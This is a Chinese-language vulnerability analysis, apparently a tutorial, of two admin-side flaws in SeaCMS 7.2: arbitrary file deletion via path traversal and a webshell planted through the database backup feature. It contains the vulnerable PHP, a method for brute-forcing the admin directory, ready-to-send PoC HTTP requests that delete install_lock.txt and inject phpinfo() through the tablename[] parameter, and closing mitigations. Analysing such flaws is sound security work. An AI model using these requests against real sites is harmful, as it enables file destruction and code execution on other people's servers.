某cms7.2-任意文件删除&Getshell(后台篇)
字数 940 2025-08-29 08:31:41
SeaCMS 7.2 后台漏洞分析与利用教学文档
0x01 漏洞概述
SeaCMS 7.2 存在两个重要的后台漏洞:
- 任意文件删除漏洞
- 数据库备份Getshell漏洞
这两个漏洞都需要管理员权限才能利用,属于后台漏洞。
0x02 环境准备
版本确认
- 版本文件路径:
/data/admin/ver.txt - 访问方式:
http://host.com/data/admin/ver.txt
后台目录确认
SeaCMS安装时会随机生成后台目录名,通过分析/install/index.php中的代码可知:
function randomkeys($length) {
$pattern = 'abcdefgh1234567890jklmnopqrstuvwxyz';
for($i=0;$i<$length;$i++) {
$key .= $pattern{mt_rand(0,35)};
}
return $key;
}
$newadminname=randomkeys(6);
$jpath='../admin';
$xpath='../'.$newadminname;
$cadmin=rename($jpath,$xpath);
后台目录为6位随机字符串,可通过爆破方式获取。
0x03 任意文件删除漏洞
漏洞位置
admin_template.php文件中的删除功能
漏洞分析
关键代码片段:
elseif($action=='del'){
if($filedir==''){
ShowMsg('未指定要删除的文件或文件名不合法', '-1');
exit();
}
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许删除templets目录内的文件!","admin_template.php");
exit();
}
$folder=substr($filedir,0,strrpos($filedir,'/'));
if(!is_dir($folder)){
ShowMsg("目录不存在!","admin_template.php");
exit();
}
unlink($filedir);
ShowMsg("操作成功!","admin_template.php?path=".$folder);
exit();
}
漏洞点:
- 仅检查路径前11位是否为
../templets - 未对文件后缀进行限制
- 可通过路径遍历删除上级目录文件
漏洞利用POC
删除install_lock.txt文件:
GET /qdybap/admin_template.php?action=del&filedir=../templets/default/images/install/install_lock.txt HTTP/1.1
Host: 127.0.0.1
0x04 数据库备份Getshell漏洞
漏洞位置
ebak/phomebak.php文件中的数据库备份功能
漏洞分析
- 数据库备份文件以
.php后缀保存 - 备份时会包含表数据
- 可通过修改表内容插入恶意代码
漏洞利用步骤
- 修改数据库表内容,插入PHP代码
- 通过备份功能将表数据导出为PHP文件
- 访问备份文件执行代码
漏洞利用POC
POST请求示例:
POST /qdybap/ebak/phomebak.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1157
phome=DoEbak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=seacms_20190107_uLDbip&insertf=replace&waitbaktime=0&readme=&tablename%5B%5D=sea_admin&...&tablename%5B%5D=phpinfo()&chkall=on&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
关键点:
tablename[]参数中包含phpinfo()等恶意代码- 需要包含所有表名,否则可能导致500错误
0x05 防御措施
针对任意文件删除漏洞
- 严格限制可删除的目录范围
- 增加文件后缀白名单检查
- 对路径进行规范化处理,防止目录遍历
针对数据库备份Getshell漏洞
- 对备份文件内容进行过滤,去除PHP代码
- 使用非可执行后缀(如.sql)保存备份文件
- 对备份文件名进行严格校验
0x06 总结
SeaCMS 7.2后台存在两个高危漏洞:
- 任意文件删除漏洞可导致系统关键文件被删除
- 数据库备份功能可被用于写入Webshell
这两个漏洞都需要管理员权限,但一旦获取管理员权限,攻击者可以完全控制网站服务器。建议用户升级到最新版本,或按照上述防御措施进行修复。